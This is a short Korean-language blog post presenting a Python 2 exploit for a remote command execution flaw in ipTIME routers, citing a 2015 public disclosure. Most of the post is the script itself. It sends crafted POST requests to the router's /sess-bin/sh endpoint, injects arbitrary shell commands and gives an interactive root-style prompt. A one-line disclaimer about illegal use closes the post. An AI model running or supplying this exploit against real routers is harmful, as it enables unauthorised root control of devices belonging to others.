해당 취약점의 출처
http://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html
취약점 Exploit 코드가 동작하지 않아 파이썬으로 개발하였습니다.
#-*- coding: utf-8 -*-
import urllib, urllib2
def attack():
global e
url="http://192.168.0.1/sess-bin/sh"
payload = "X=X; echo 'Content-type: text/plain';echo;"
command=raw_input("root@192.168.0.1:/bin# ")
if(command == "exit"):
e=1
payload += command+";"
req=urllib2.Request(url,payload)
req.add_header("User-Agent","Mozilla/5.0")
req.add_header("Content-type","text/plain")
read=urllib2.urlopen(req).read()
print read
while(1):
try:
attack()
if(e==1):
print("Bye")
break
except:
0코드 실행 화면
[*] 해당 코드를 불법적으로 사용시 책임을 지지 않습니다.